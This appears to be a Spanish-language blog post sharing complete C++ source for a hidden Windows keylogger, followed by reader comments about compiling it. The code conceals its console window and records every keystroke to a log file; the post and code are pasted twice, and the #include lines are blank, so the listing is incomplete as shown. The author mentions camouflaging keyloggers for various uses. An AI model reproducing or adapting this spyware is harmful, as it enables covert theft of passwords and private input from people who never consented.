Holas esta ves les traigo el codigo de un simple keylogger hecho en dev c++ le doy las gracias y todos los creditos a mrmrfreshh usuario de youtube.
bueno aqui va el codigo
#include
#include
#include
using namespace std;
int save (int key_stroke, char *file);
void Stealth();
int main ()
{
Stealth ();
char i;
while (1)
{
for (i=8; i<=190; i++)
{
if (GetAsyncKeyState(i)== -32767)
save (i,"LOG.TXT");
}
}
system ("pause");
return 0;
}
/* *************************************** */
/* *************************************** */
int save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 ||key_stroke == 110 )
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* *************************************** */
/* *************************************** */
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
compilen y todo saldra a la perfeccion
es bueno para usarlo localmente ya que en la red de encuentran una gran cantidad de keyloggers para camuflar y con diferentes usos
;)
bueno aqui va el codigo
#include
#include
#include
using namespace std;
int save (int key_stroke, char *file);
void Stealth();
int main ()
{
Stealth ();
char i;
while (1)
{
for (i=8; i<=190; i++)
{
if (GetAsyncKeyState(i)== -32767)
save (i,"LOG.TXT");
}
}
system ("pause");
return 0;
}
/* *************************************** */
/* *************************************** */
int save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 ||key_stroke == 110 )
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* *************************************** */
/* *************************************** */
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
compilen y todo saldra a la perfeccion
es bueno para usarlo localmente ya que en la red de encuentran una gran cantidad de keyloggers para camuflar y con diferentes usos
;)
en que extension lo copilo
ResponderEliminarlo puedes compilar en .cpp esta hecho con dev c++
ResponderEliminarte falataron las librerias..cuales son??
ResponderEliminar